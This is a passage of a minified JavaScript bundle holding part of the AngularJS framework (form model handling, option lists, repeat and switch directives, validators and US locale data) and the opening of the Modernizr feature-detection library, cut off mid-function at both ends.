ngIf",u.ngIf);h={clone:i};n.enter(i,r.parent(),r)}):(o&&(o.remove(),o=null),s&&(s.$destroy(),s=null),h&&(o=iu(h.clone),n.leave(o).done(function(n){!1!==n&&(o=null)}),h=null))})}}}],ak=["$templateRequest","$anchorScroll","$animate",function(n,t,i){return{restrict:"ECA",priority:400,terminal:!0,transclude:"element",controller:et.noop,compile:function(u,f){var o=f.ngInclude||f.src,s=f.onload||"",e=f.autoscroll;return function(u,f,h,c,l){var p=0,a,v,y,w=function(){v&&(v.remove(),v=null);a&&(a.$destroy(),a=null);y&&(i.leave(y).done(function(n){!1!==n&&(v=null)}),v=y,y=null)};u.$watch(o,function(o){var v=function(n){!1!==n&&r(e)&&(!e||u.$eval(e))&&t()},h=++p;o?(n(o,!0).then(function(n){if(!u.$$destroyed&&h===p){var t=u.$new();c.template=n;n=l(t,function(n){w();i.enter(n,null,f).done(v)});a=t;y=n;a.$emit("$includeContentLoaded",o);u.$eval(s)}},function(){u.$$destroyed||h!==p||(w(),u.$emit("$includeContentError",o))}),u.$emit("$includeContentRequested",o)):(w(),c.template=null)})}}}}],vk=["$compile",function(t){return{restrict:"ECA",priority:-400,require:"ngInclude",link:function(i,r,u,f){ft.call(r[0]).match(/SVG/)?(r.empty(),t(es(f.template,n.document).childNodes)(i,function(n){r.append(n)},{futureParentElement:r})):(r.html(f.template),t(r.contents())(i))}}}],yk=ki({priority:450,compile:function(){return{pre:function(n,t,i){n.$eval(i.ngInit)}}}}),pk=function(){return{restrict:"A",priority:100,require:"ngModel",link:function(n,i,r,f){var e=r.ngList||", ",o="false"!==r.ngTrim,s=o?p(e):e;f.$parsers.push(function(n){if(!u(n)){var i=[];return n&&t(n.split(s),function(n){n&&i.push(o?p(n):n)}),i}});f.$formatters.push(function(n){if(c(n))return n.join(e)});f.$isEmpty=function(n){return!n||!n.length}}}},gr="ng-valid",bl="ng-invalid",fr="ng-pristine",cf="ng-dirty",nu=l("ngModel");ku.$inject="$scope $exceptionHandler $attrs $element $parse $animate $timeout $q $interpolate".split(" ");ku.prototype={$$initGetterSetters:function(){if(this.$options.getOption("getterSetter")){var n=this.$$parse(this.$$attr.ngModel+"()"),t=this.$$parse(this.$$attr.ngModel+"($$$p)");this.$$ngModelGet=function(t){var i=this.$$parsedNgModel(t);return e(i)&&(i=n(t)),i};this.$$ngModelSet=function(n,i){e(this.$$parsedNgModel(n))?t(n,{$$$p:i}):this.$$parsedNgModelAssign(n,i)}}else if(!this.$$parsedNgModel.assign)throw nu("nonassign",this.$$attr.ngModel,bt(this.$$element));},$render:s,$isEmpty:function(n){return u(n)||""===n||null===n||n!==n},$$updateEmptyClasses:function(n){this.$isEmpty(n)?(this.$$animate.removeClass(this.$$element,"ng-not-empty"),this.$$animate.addClass(this.$$element,"ng-empty")):(this.$$animate.removeClass(this.$$element,"ng-empty"),this.$$animate.addClass(this.$$element,"ng-not-empty"))},$setPristine:function(){this.$dirty=!1;this.$pristine=!0;this.$$animate.removeClass(this.$$element,cf);this.$$animate.addClass(this.$$element,fr)},$setDirty:function(){this.$dirty=!0;this.$pristine=!1;this.$$animate.removeClass(this.$$element,fr);this.$$animate.addClass(this.$$element,cf);this.$$parentForm.$setDirty()},$setUntouched:function(){this.$touched=!1;this.$untouched=!0;this.$$animate.setClass(this.$$element,"ng-untouched","ng-touched")},$setTouched:function(){this.$touched=!0;this.$untouched=!1;this.$$animate.setClass(this.$$element,"ng-touched","ng-untouched")},$rollbackViewValue:function(){this.$$timeout.cancel(this.$$pendingDebounce);this.$viewValue=this.$$lastCommittedViewValue;this.$render()},$validate:function(){if(!it(this.$modelValue)){var i=this.$$lastCommittedViewValue,t=this.$$rawModelValue,r=this.$valid,u=this.$modelValue,f=this.$options.getOption("allowInvalid"),n=this;this.$$runValidators(t,i,function(i){f||r===i||(n.$modelValue=i?t:void 0,n.$modelValue!==u&&n.$$writeModelToScope())})}},$$runValidators:function(n,i,r){function l(){var r=!0;return t(f.$validators,function(t,u){var f=Boolean(t(n,i));r=r&&f;o(u,f)}),r?!0:(t(f.$asyncValidators,function(n,t){o(t,null)}),!1)}function a(){var r=[],u=!0;t(f.$asyncValidators,function(t,f){var s=t(n,i);if(!s||!e(s.then))throw nu("nopromise",s);o(f,void 0);r.push(s.then(function(){o(f,!0)},function(){u=!1;o(f,!1)}))});r.length?f.$$q.all(r).then(function(){h(u)},s):h(!0)}function o(n,t){c===f.$$currentValidationRunId&&f.$setValidity(n,t)}function h(n){c===f.$$currentValidationRunId&&r(n)}this.$$currentValidationRunId++;var c=this.$$currentValidationRunId,f=this;(function(){var n=f.$$parserName;if(u(f.$$parserValid))o(n,null);else return f.$$parserValid||(t(f.$validators,function(n,t){o(t,null)}),t(f.$asyncValidators,function(n,t){o(t,null)})),o(n,f.$$parserValid),f.$$parserValid;return!0})()?l()?a():h(!1):h(!1)},$commitViewValue:function(){var n=this.$viewValue;this.$$timeout.cancel(this.$$pendingDebounce);(this.$$lastCommittedViewValue!==n||""===n&&this.$$hasNativeValidators)&&(this.$$updateEmptyClasses(n),this.$$lastCommittedViewValue=n,this.$pristine&&this.$setDirty(),this.$$parseAndValidate())},$$parseAndValidate:function(){var n=this.$$lastCommittedViewValue,t=this,i,r,f;if(this.$$parserValid=u(n)?void 0:!0,this.$setValidity(this.$$parserName,null),this.$$parserName="parse",this.$$parserValid)for(i=0;i<this.$parsers.length;i++)if(n=this.$parsers[i](n),u(n)){this.$$parserValid=!1;break}it(this.$modelValue)&&(this.$modelValue=this.$$ngModelGet(this.$$scope));r=this.$modelValue;f=this.$options.getOption("allowInvalid");this.$$rawModelValue=n;f&&(this.$modelValue=n,t.$modelValue!==r&&t.$$writeModelToScope());this.$$runValidators(n,this.$$lastCommittedViewValue,function(i){f||(t.$modelValue=i?n:void 0,t.$modelValue!==r&&t.$$writeModelToScope())})},$$writeModelToScope:function(){this.$$ngModelSet(this.$$scope,this.$modelValue);t(this.$viewChangeListeners,function(n){try{n()}catch(t){this.$$exceptionHandler(t)}},this)},$setViewValue:function(n,t){this.$viewValue=n;this.$options.getOption("updateOnDefault")&&this.$$debounceViewValueCommit(t)},$$debounceViewValueCommit:function(n){var t=this.$options.getOption("debounce"),i;nt(t[n])?t=t[n]:nt(t["default"])&&-1===this.$options.getOption("updateOn").indexOf(n)?t=t["default"]:nt(t["*"])&&(t=t["*"]);this.$$timeout.cancel(this.$$pendingDebounce);i=this;0<t?this.$$pendingDebounce=this.$$timeout(function(){i.$commitViewValue()},t):this.$$rootScope.$$phase?this.$commitViewValue():this.$$scope.$apply(function(){i.$commitViewValue()})},$overrideModelOptions:function(n){this.$options=this.$options.createChild(n);this.$$setUpdateOnEvents()},$processModelValue:function(){var n=this.$$format();this.$viewValue!==n&&(this.$$updateEmptyClasses(n),this.$viewValue=this.$$lastCommittedViewValue=n,this.$render(),this.$$runValidators(this.$modelValue,this.$viewValue,s))},$$format:function(){for(var t=this.$formatters,i=t.length,n=this.$modelValue;i--;)n=t[i](n);return n},$$setModelValue:function(n){this.$modelValue=this.$$rawModelValue=n;this.$$parserValid=void 0;this.$processModelValue()},$$setUpdateOnEvents:function(){if(this.$$updateEvents&&this.$$element.off(this.$$updateEvents,this.$$updateEventHandler),this.$$updateEvents=this.$options.getOption("updateOn"))this.$$element.on(this.$$updateEvents,this.$$updateEventHandler)},$$updateEventHandler:function(n){this.$$debounceViewValueCommit(n&&n.type)}};ic({clazz:ku,set:function(n,t){n[t]=!0},unset:function(n,t){delete n[t]}});kl=["$rootScope",function(n){return{restrict:"A",require:["ngModel","^?form","^?ngModelOptions"],controller:ku,priority:1,compile:function(t){return t.addClass(fr).addClass("ng-untouched").addClass(gr),{pre:function(n,t,i,r){var u=r[0];t=r[1]||u.$$parentForm;(r=r[2])&&(u.$options=r.$options);u.$$initGetterSetters();t.$addControl(u);i.$observe("name",function(n){u.$name!==n&&u.$$parentForm.$$renameControl(u,n)});n.$on("$destroy",function(){u.$$parentForm.$removeControl(u)})},post:function(t,i,r,u){function e(){f.$setTouched()}var f=u[0];f.$$setUpdateOnEvents();i.on("blur",function(){f.$touched||(n.$$phase?t.$evalAsync(e):t.$apply(e))})}}}}}];dl=/(\s+|^)default(\s+|$)/;io.prototype={getOption:function(n){return this.$$options[n]},createChild:function(n){var i=!1;return n=v({},n),t(n,function(t,r){"$inherit"===t?"*"===r?i=!0:(n[r]=this.$$options[r],"updateOn"===r&&(n.updateOnDefault=this.$$options.updateOnDefault)):"updateOn"===r&&(n.updateOnDefault=!1,n[r]=p(t.replace(dl,function(){return n.updateOnDefault=!0," "})))},this),i&&(delete n["*"],sc(n,this.$$options)),sc(n,lf.$$options),new io(n)}};lf=new io({updateOn:"",updateOnDefault:!0,debounce:0,getterSetter:!1,allowInvalid:!1,timezone:null});var wk=function(){function n(n,t){this.$$attrs=n;this.$$scope=t}return n.$inject=["$attrs","$scope"],n.prototype={$onInit:function(){var n=this.parentCtrl?this.parentCtrl.$options:lf,t=this.$$scope.$eval(this.$$attrs.ngModelOptions);this.$options=n.createChild(t)}},{restrict:"A",priority:10,require:{parentCtrl:"?^^ngModelOptions"},bindToController:!0,controller:n}},bk=ki({terminal:!0,priority:1e3}),kk=l("ngOptions"),dk=/^\s*([\s\S]+?)(?:\s+as\s+([\s\S]+?))?(?:\s+group\s+by\s+([\s\S]+?))?(?:\s+disable\s+when\s+([\s\S]+?))?\s+for\s+(?:([$\w][$\w]*)|(?:\(\s*([$\w][$\w]*)\s*,\s*([$\w][$\w]*)\s*\)))\s+in\s+([\s\S]+?)(?:\s+track\s+by\s+([\s\S]+?))?$/,gk=["$compile","$document","$parse",function(i,u,e){function h(n,t,i){function w(n,t,i,r,u){this.selectValue=n;this.viewValue=t;this.label=i;this.group=r;this.disabled=u}function l(n){var t,i;if(!s&&ti(n))t=n;else{t=[];for(i in n)n.hasOwnProperty(i)&&"$"!==i.charAt(0)&&t.push(i)}return t}var r=n.match(dk),o,s,u;if(!r)throw kk("iexp",n,bt(t));o=r[5]||r[7];s=r[6];n=/ as /.test(r[0])&&r[1];u=r[9];t=e(r[2]?r[1]:o);var b=n&&e(n)||t,k=u&&e(u),h=u?function(n,t){return k(i,t)}:function(n){return bi(n)},a=function(n,t){return h(n,c(n,t))},v=e(r[2]||r[1]),d=e(r[3]||""),y=e(r[4]||""),p=e(r[8]),f={},c=s?function(n,t){return f[s]=t,f[o]=n,f}:function(n){return f[o]=n,f};return{trackBy:u,getTrackByValue:a,getWatchables:e(p,function(n){var f=[];n=n||[];for(var o=l(n),s=o.length,e=0;e<s;e++){var t=n===o?e:o[e],u=n[t],t=c(u,t),u=h(u,t);f.push(u);(r[2]||r[1])&&(u=v(i,t),f.push(u));r[4]&&(t=y(i,t),f.push(t))}return f}),getOptions:function(){for(var k=[],e={},o=p(i)||[],s=l(o),g=s.length,t=0;t<g;t++){var r=o===s?t:s[t],n=c(o[r],r),f=b(i,n),r=h(f,n),nt=v(i,n),tt=d(i,n),n=y(i,n),f=new w(r,f,nt,tt,n);k.push(f);e[r]=f}return{items:k,selectValueMap:e,getOptionFromViewValue:function(n){return e[a(n)]},getViewValueFromOption:function(n){return u?fi(n.viewValue):n.viewValue}}}}}var o=n.document.createElement("option"),l=n.document.createElement("optgroup");return{restrict:"A",terminal:!0,require:["select","ngModel"],link:{pre:function(n,t,i,r){r[0].registerOption=s},post:function(n,e,s,a){function tt(n){var t=(n=y.getOptionFromViewValue(n))&&n.element;return t&&!t.selected&&(t.selected=!0),n}function d(n,t){n.element=t;t.disabled=n.disabled;n.label!==t.label&&(t.label=n.label,t.textContent=n.label);t.value=n.selectValue}var v=a[0],p=a[1],g=s.multiple,b,nt,y,w,k;for(a=0,b=e.children(),nt=b.length;a<nt;a++)if(""===b[a].value){v.hasEmptyOption=!0;v.emptyOption=b.eq(a);break}e.empty();a=!!v.emptyOption;f(o.cloneNode(!1)).val("?");w=h(s.ngOptions,e,n);k=u[0].createDocumentFragment();v.generateUnknownOptionValue=function(){return"?"};g?(v.writeValue=function(n){if(y){var t=n&&n.map(tt)||[];y.items.forEach(function(n){n.element.selected&&-1===Array.prototype.indexOf.call(t,n)&&(n.element.selected=!1)})}},v.readValue=function(){var i=e.val()||[],n=[];return t(i,function(t){(t=y.selectValueMap[t])&&!t.disabled&&n.push(y.getViewValueFromOption(t))}),n},w.trackBy&&n.$watchCollection(function(){if(c(p.$viewValue))return p.$viewValue.map(function(n){return w.getTrackByValue(n)})},function(){p.$render()})):(v.writeValue=function(n){if(y){var i=e[0].options[e[0].selectedIndex],t=y.getOptionFromViewValue(n);i&&i.removeAttribute("selected");t?(e[0].value!==t.selectValue&&(v.removeUnknownOption(),e[0].value=t.selectValue,t.element.selected=!0),t.element.setAttribute("selected","selected")):v.selectUnknownOrEmptyOption(n)}},v.readValue=function(){var n=y.selectValueMap[e.val()];return n&&!n.disabled?(v.unselectEmptyOption(),v.removeUnknownOption(),y.getViewValueFromOption(n)):null},w.trackBy&&n.$watch(function(){return w.getTrackByValue(p.$viewValue)},function(){p.$render()}));a&&(i(v.emptyOption)(n),e.prepend(v.emptyOption),8===v.emptyOption[0].nodeType?(v.hasEmptyOption=!1,v.registerOption=function(n,t){""===t.val()&&(v.hasEmptyOption=!0,v.emptyOption=t,v.emptyOption.removeClass("ng-scope"),p.$render(),t.on("$destroy",function(){var n=v.$isEmptyOptionSelected();v.hasEmptyOption=!1;v.emptyOption=void 0;n&&p.$render()}))}):v.emptyOption.removeClass("ng-scope"));n.$watchCollection(w.getWatchables,function(){var i=y&&v.readValue(),n,t,u;if(y)for(n=y.items.length-1;0<=n;n--)t=y.items[n],r(t.group)?lu(t.element.parentNode):lu(t.element);y=w.getOptions();u={};y.items.forEach(function(n){var t,i;r(n.group)?(t=u[n.group],t||(t=l.cloneNode(!1),k.appendChild(t),t.label=null===n.group?"null":n.group,u[n.group]=t),i=o.cloneNode(!1),t.appendChild(i),d(n,i)):(t=o.cloneNode(!1),k.appendChild(t),d(n,t))});e[0].appendChild(k);p.$render();p.$isEmpty(i)||(n=v.readValue(),(w.trackBy||g?at(i,n):i===n)||(p.$setViewValue(n),p.$render()))})}}}}],nd=["$locale","$interpolate","$log",function(n,i,r){var f=/{}/g,e=/^when(Minus)?(.+)$/;return{link:function(o,h,c){function p(n){h.text(n||"")}var w=c.count,b=c.$attr.when&&h.attr(c.$attr.when),k=c.offset||0,l=o.$eval(b)||{},d={},g=i.startSymbol(),nt=i.endSymbol(),tt=g+w+"-"+k+nt,v=et.noop,y;t(c,function(n,t){var i=e.exec(t);i&&(i=(i[1]?"-":"")+a(i[2]),l[i]=h.attr(c.$attr[t]))});t(l,function(n,t){d[t]=i(n.replace(f,tt))});o.$watch(w,function(t){var i=parseFloat(t),f=it(i);f||i in l||(i=n.pluralCat(i-k));i===y||f&&it(y)||(v(),f=d[i],u(f)?(null!=t&&r.debug("ngPluralize: no rule defined for '"+i+"' in "+b),v=s,p()):v=o.$watch(f,p),y=i)})}}}],gl=l("ngRef"),td=["$parse",function(n){return{priority:-1,restrict:"A",compile:function(t,i){var f=yt(lt(t)),r=n(i.ngRef),u=r.assign||function(){throw gl("nonassign",i.ngRef);};return function(n,t,e){var o;if(e.hasOwnProperty("ngRefRead")){if("$element"===e.ngRefRead)o=t;else if(o=t.data("$"+e.ngRefRead+"Controller"),!o)throw gl("noctrl",e.ngRefRead,i.ngRef);}else o=t.data("$"+f+"Controller");o=o||t;u(n,o);t.on("$destroy",function(){r(n)===o&&u(n,null)})}}}}],id=["$parse","$animate","$compile",function(n,i,r){var u=l("ngRepeat"),f=function(n,t,i,r,u,f,e){n[i]=r;u&&(n[u]=f);n.$index=t;n.$first=0===t;n.$last=t===e-1;n.$middle=!(n.$first||n.$last);n.$odd=!(n.$even=0==(t&1))},e=function(n,t,i){return bi(i)},o=function(n,t){return t};return{restrict:"A",multiElement:!0,transclude:"element",priority:1e3,terminal:!0,$$tlb:!0,compile:function(s,h){var w=h.ngRepeat,nt=r.$$createComment("end ngRepeat",w),c=w.match(/^\s*([\s\S]+?)\s+in\s+([\s\S]+?)(?:\s+as\s+([\s\S]+?))?(?:\s+track\s+by\s+([\s\S]+?))?\s*$/),v,p,b,l,g;if(!c)throw u("iexp",w);var k=c[1],tt=c[2],a=c[3],d=c[4],c=k.match(/^(?:(\s*[$\w]+)|\(\s*([$\w]+)\s*,\s*([$\w]+)\s*\))$/);if(!c)throw u("iidexp",k);if(v=c[3]||c[1],p=c[2],a&&(!/^[$a-zA-Z_][$a-zA-Z0-9_]*$/.test(a)||/^(null|undefined|this|\$index|\$first|\$middle|\$last|\$even|\$odd|\$parent|\$root|\$id)$/.test(a)))throw u("badident",a);return d&&(l={$id:bi},g=n(d),b=function(n,t,i,r){return p&&(l[p]=t),l[v]=i,l.$index=r,g(n,l)}),function(n,r,s,h,c){var k=y();n.$watchCollection(tt,function(s){var h,ot,st=r[0],it,ht=y(),ft,ut,et,g,rt,d,tt;if(a&&(n[a]=s),ti(s))rt=s,ot=b||e;else for(tt in ot=b||o,rt=[],s)pt.call(s,tt)&&"$"!==tt.charAt(0)&&rt.push(tt);for(ft=rt.length,tt=Array(ft),h=0;h<ft;h++)if(ut=s===rt?h:rt[h],et=s[ut],g=ot(n,ut,et,h),k[g])d=k[g],delete k[g],ht[g]=d,tt[h]=d;else{if(ht[g])throw t(tt,function(n){n&&n.scope&&(k[n.id]=n)}),u("dupes",w,g,et);tt[h]={id:g,scope:void 0,clone:void 0};ht[g]=!0}l&&(l[v]=void 0);for(it in k){if(d=k[it],g=iu(d.clone),i.leave(g),g[0].parentNode)for(h=0,ot=g.length;h<ot;h++)g[h].$$NG_REMOVED=!0;d.scope.$destroy()}for(h=0;h<ft;h++)if(ut=s===rt?h:rt[h],et=s[ut],d=tt[h],d.scope){it=st;do it=it.nextSibling;while(it&&it.$$NG_REMOVED);d.clone[0]!==it&&i.move(iu(d.clone),null,st);st=d.clone[d.clone.length-1];f(d.scope,h,v,et,p,ut,ft)}else c(function(n,t){d.scope=t;var r=nt.cloneNode(!1);n[n.length++]=r;i.enter(n,null,st);st=r;d.clone=n;ht[d.id]=d;f(d.scope,h,v,et,p,ut,ft)});k=ht})}}}}],rd=["$animate",function(n){return{restrict:"A",multiElement:!0,link:function(t,i,r){t.$watch(r.ngShow,function(t){n[t?"removeClass":"addClass"](i,"ng-hide",{tempClasses:"ng-hide-animate"})})}}}],ud=["$animate",function(n){return{restrict:"A",multiElement:!0,link:function(t,i,r){t.$watch(r.ngHide,function(t){n[t?"addClass":"removeClass"](i,"ng-hide",{tempClasses:"ng-hide-animate"})})}}}],fd=ki(function(n,i,r){n.$watchCollection(r.ngStyle,function(n,r){r&&n!==r&&t(r,function(n,t){i.css(t,"")});n&&i.css(n)})}),ed=["$animate","$compile",function(n,i){return{require:"ngSwitch",controller:["$scope",function(){this.cases={}}],link:function(r,u,f,e){var c=[],h=[],o=[],s=[],l=function(n,t){return function(i){!1!==i&&n.splice(t,1)}};r.$watch(f.ngSwitch||f.on,function(r){for(var u,f,a;o.length;)n.cancel(o.pop());for(u=0,f=s.length;u<f;++u)a=iu(h[u].clone),s[u].$destroy(),(o[u]=n.leave(a)).done(l(o,u));h.length=0;s.length=0;(c=e.cases["!"+r]||e.cases["?"])&&t(c,function(t){t.transclude(function(r,u){s.push(u);var f=t.element;r[r.length++]=i.$$createComment("end ngSwitchWhen");h.push({clone:r});n.enter(r,f.parent(),f)})})})}}}],od=ki({transclude:"element",priority:1200,require:"^ngSwitch",multiElement:!0,link:function(n,i,r,u,f){n=r.ngSwitchWhen.split(r.ngSwitchWhenSeparator).sort().filter(function(n,t,i){return i[t-1]!==n});t(n,function(n){u.cases["!"+n]=u.cases["!"+n]||[];u.cases["!"+n].push({transclude:f,element:i})})}}),sd=ki({transclude:"element",priority:1200,require:"^ngSwitch",multiElement:!0,link:function(n,t,i,r,u){r.cases["?"]=r.cases["?"]||[];r.cases["?"].push({transclude:u,element:t})}}),hd=l("ngTransclude"),cd=["$compile",function(n){return{restrict:"EAC",compile:function(t){var i=n(t.contents());return t.empty(),function(n,t,r,u,f){function e(){i(n,function(n){t.append(n)})}if(!f)throw hd("orphan",bt(t));r.ngTransclude===r.$attr.ngTransclude&&(r.ngTransclude="");r=r.ngTransclude||r.ngTranscludeSlot;f(function(n,i){var r,f,u;if(r=n.length)n:{for(r=0,f=n.length;r<f;r++)if(u=n[r],u.nodeType!==ii||u.nodeValue.trim()){r=!0;break n}r=void 0}r?t.append(n):(e(),i.$destroy())},null,r);r&&!f.isSlotFilled(r)&&e()}}}}],ld=["$templateCache",function(n){return{restrict:"E",terminal:!0,compile:function(t,i){"text/ng-template"===i.type&&n.put(i.id,t[0].text)}}}],ad={$setViewValue:s,$render:s},vd=["$element","$scope",function(t,i){function l(){h||(h=!0,i.$$postDigest(function(){h=!1;u.ngModelCtrl.$render()}))}function o(n){c||(c=!0,i.$$postDigest(function(){i.$$destroyed||(c=!1,u.ngModelCtrl.$setViewValue(u.readValue()),n&&u.ngModelCtrl.$render())}))}var u=this,e=new ef,h,c;u.selectValueMap={};u.ngModelCtrl=ad;u.multiple=!1;u.unknownOption=f(n.document.createElement("option"));u.hasEmptyOption=!1;u.emptyOption=void 0;u.renderUnknownOption=function(n){n=u.generateUnknownOptionValue(n);u.unknownOption.val(n);t.prepend(u.unknownOption);hi(u.unknownOption,!0);t.val(n)};u.updateUnknownOption=function(n){n=u.generateUnknownOptionValue(n);u.unknownOption.val(n);hi(u.unknownOption,!0);t.val(n)};u.generateUnknownOptionValue=function(n){return"? "+bi(n)+" ?"};u.removeUnknownOption=function(){u.unknownOption.parent()&&u.unknownOption.remove()};u.selectEmptyOption=function(){u.emptyOption&&(t.val(""),hi(u.emptyOption,!0))};u.unselectEmptyOption=function(){u.hasEmptyOption&&hi(u.emptyOption,!1)};i.$on("$destroy",function(){u.renderUnknownOption=s});u.readValue=function(){var n=t.val(),n=n in u.selectValueMap?u.selectValueMap[n]:n;return u.hasOption(n)?n:null};u.writeValue=function(n){var i=t[0].options[t[0].selectedIndex];i&&hi(f(i),!1);u.hasOption(n)?(u.removeUnknownOption(),i=bi(n),t.val(i in u.selectValueMap?i:n),hi(f(t[0].options[t[0].selectedIndex]),!0)):u.selectUnknownOrEmptyOption(n)};u.addOption=function(n,t){if(8!==t[0].nodeType){wi(n,'"option value"');""===n&&(u.hasEmptyOption=!0,u.emptyOption=t);var i=e.get(n)||0;e.set(n,i+1);l()}};u.removeOption=function(n){var t=e.get(n);t&&(1===t?(e.delete(n),""===n&&(u.hasEmptyOption=!1,u.emptyOption=void 0)):e.set(n,t-1))};u.hasOption=function(n){return!!e.get(n)};u.$hasEmptyOption=function(){return u.hasEmptyOption};u.$isUnknownOptionSelected=function(){return t[0].options[0]===u.unknownOption[0]};u.$isEmptyOptionSelected=function(){return u.hasEmptyOption&&t[0].options[t[0].selectedIndex]===u.emptyOption[0]};u.selectUnknownOrEmptyOption=function(n){null==n&&u.emptyOption?(u.removeUnknownOption(),u.selectEmptyOption()):u.unknownOption.parent().length?u.updateUnknownOption(n):u.renderUnknownOption(n)};h=!1;c=!1;u.registerOption=function(n,t,i,f,e){if(i.$attr.ngValue){var s,h;i.$observe("value",function(n){var i,f=t.prop("selected");r(h)&&(u.removeOption(s),delete u.selectValueMap[h],i=!0);h=bi(n);s=n;u.selectValueMap[h]=n;u.addOption(n,t);t.attr("value",h);i&&f&&o()})}else f?i.$observe("value",function(n){u.readValue();var i,f=t.prop("selected");r(s)&&(u.removeOption(s),i=!0);s=n;u.addOption(n,t);i&&f&&o()}):e?n.$watch(e,function(n,r){i.$set("value",n);var f=t.prop("selected");r!==n&&u.removeOption(r);u.addOption(n,t);r&&f&&o()}):u.addOption(i.value,t);i.$observe("disabled",function(n){("true"===n||n&&t.prop("selected"))&&(u.multiple?o(!0):(u.ngModelCtrl.$setViewValue(null),u.ngModelCtrl.$render()))});t.on("$destroy",function(){var n=u.readValue(),t=i.value;u.removeOption(t);l();(u.multiple&&n&&-1!==n.indexOf(t)||n===t)&&o(!0)})}}],yd=function(){return{restrict:"E",require:["select","?ngModel"],controller:vd,priority:1,link:{pre:function(n,i,r,u){var e=u[0],o=u[1],c,h;o?(e.ngModelCtrl=o,i.on("change",function(){e.removeUnknownOption();n.$apply(function(){o.$setViewValue(e.readValue())})}),r.multiple)&&(e.multiple=!0,e.readValue=function(){var n=[];return t(i.find("option"),function(t){t.selected&&!t.disabled&&(t=t.value,n.push(t in e.selectValueMap?e.selectValueMap[t]:t))}),n},e.writeValue=function(n){t(i.find("option"),function(t){var i=!!n&&(-1!==Array.prototype.indexOf.call(n,t.value)||-1!==Array.prototype.indexOf.call(n,e.selectValueMap[t.value]));i!==t.selected&&hi(f(t),i)})},h=NaN,n.$watch(function(){h!==o.$viewValue||at(c,o.$viewValue)||(c=vt(o.$viewValue),o.$render());h=o.$viewValue}),o.$isEmpty=function(n){return!n||0===n.length}):e.registerOption=s},post:function(n,t,i,r){var u=r[1],f;u&&(f=r[0],u.$render=function(){f.writeValue(u.$viewValue)})}}}},pd=["$interpolate",function(n){return{restrict:"E",priority:100,compile:function(t,i){var u,f;return r(i.ngValue)||(r(i.value)?u=n(i.value,!0):(f=n(t.text(),!0))||i.$set("value",t.text())),function(n,t,i){var r=t.parent();(r=r.data("$selectController")||r.parent().data("$selectController"))&&r.registerOption(n,t,i,u,f)}}}}],na=["$parse",function(n){return{restrict:"A",require:"?ngModel",link:function(t,i,r,u){if(u){var f=r.hasOwnProperty("required")||n(r.ngRequired)(t);r.ngRequired||(r.required=!0);u.$validators.required=function(n,t){return!f||!u.$isEmpty(t)};r.$observe("required",function(n){f!==n&&(f=n,u.$validate())})}}}}],ta=["$parse",function(n){return{restrict:"A",require:"?ngModel",compile:function(t,i){var r,f;return i.ngPattern&&(r=i.ngPattern,f="/"===i.ngPattern.charAt(0)&&cc.test(i.ngPattern)?function(){return i.ngPattern}:n(i.ngPattern)),function(n,t,i,e){var s,o;e&&(s=i.pattern,i.ngPattern?s=f(n):r=i.pattern,o=hc(s,r,t),i.$observe("pattern",function(n){var i=o;o=hc(n,r,t);(i&&i.toString())!==(o&&o.toString())&&e.$validate()}),e.$validators.pattern=function(n,t){return e.$isEmpty(t)||u(o)||o.test(t)})}}}}],ia=["$parse",function(n){return{restrict:"A",require:"?ngModel",link:function(t,i,r,u){if(u){var f=r.maxlength||n(r.ngMaxlength)(t),e=du(f);r.$observe("maxlength",function(n){f!==n&&(e=du(n),f=n,u.$validate())});u.$validators.maxlength=function(n,t){return 0>e||u.$isEmpty(t)||t.length<=e}}}}}],ra=["$parse",function(n){return{restrict:"A",require:"?ngModel",link:function(t,i,r,u){if(u){var f=r.minlength||n(r.ngMinlength)(t),e=du(f)||-1;r.$observe("minlength",function(n){f!==n&&(e=du(n)||-1,f=n,u.$validate())});u.$validators.minlength=function(n,t){return u.$isEmpty(t)||t.length>=e}}}}}];n.angular.bootstrap?n.console&&console.log("WARNING: Tried to load AngularJS more than once."):(ya(),da(et),et.module("ngLocale",[],["$provide",function(n){function t(n){n+="";var t=n.indexOf(".");return-1==t?0:n.length-t-1}n.value("$locale",{DATETIME_FORMATS:{AMPMS:["AM","PM"],DAY:"Sunday Monday Tuesday Wednesday Thursday Friday Saturday".split(" "),ERANAMES:["Before Christ","Anno Domini"],ERAS:["BC","AD"],FIRSTDAYOFWEEK:6,MONTH:"January February March April May June July August September October November December".split(" "),SHORTDAY:"Sun Mon Tue Wed Thu Fri Sat".split(" "),SHORTMONTH:"Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec".split(" "),STANDALONEMONTH:"January February March April May June July August September October November December".split(" "),WEEKENDRANGE:[5,6],fullDate:"EEEE, MMMM d, y",longDate:"MMMM d, y",medium:"MMM d, y h:mm:ss a",mediumDate:"MMM d, y",mediumTime:"h:mm:ss a",short:"M/d/yy h:mm a",shortDate:"M/d/yy",shortTime:"h:mm a"},NUMBER_FORMATS:{CURRENCY_SYM:"$",DECIMAL_SEP:".",GROUP_SEP:",",PATTERNS:[{gSize:3,lgSize:3,maxFrac:3,minFrac:0,minInt:1,negPre:"-",negSuf:"",posPre:"",posSuf:""},{gSize:3,lgSize:3,maxFrac:2,minFrac:2,minInt:1,negPre:"-¤",negSuf:"",posPre:"¤",posSuf:""}]},id:"en-us",localeID:"en_US",pluralCat:function(n,i){var u=n|0,r=i;return void 0===r&&(r=Math.min(t(n),3)),Math.pow(10,r),1==u&&0==r?"one":"other"}})}]),f(function(){la(n.document,us)}))}(window);window.angular.$$csp().noInlineStyle||window.angular.element(document.head).prepend(window.angular.element("<style>").text('@charset "UTF-8";[ng\\:cloak],[ng-cloak],[data-ng-cloak],[x-ng-cloak],.ng-cloak,.x-ng-cloak,.ng-hide:not(.ng-hide-animate){display:none !important;}ng\\:form{display:block;}.ng-animate-shim{visibility:hidden;}.ng-anchor{position:absolute;}'));window.Modernizr=function(n,t,i){function l(n){c.cssText=n}function at(n,t){return l(y.join(n+";")+(t||""))}function h(n,t){return typeof n===t}function a(n,t){return!!~(""+n).indexOf(t)}function ut(n,t){var u,r;for(u in n)if(r=n[u],!a(r,"-")&&c[r]!==i)return t=="pfx"?r:!0;return!1}function vt(n,t,r){var f,u;for(f in n)if(u=t[n[f]],u!==i)return r===!1?n[f]:h(u,"function")?u.bind(r||t):u;return!1}function f(n,t,i){var r=n.charAt(0).toUpperCase()+n.slice(1),u=(n+" "+st.join(r+" ")+r).split(" ");return h(t,"string")||h(t,"undefined")?ut(u,t):(u=(n+" "+ht.join(r+" ")+r).split(" "),vt(u,t,i))}function yt(){u.input=function(i){for(var r=0,u=i.length;r<u;r++)w[i[r]]=i[r]in e;return 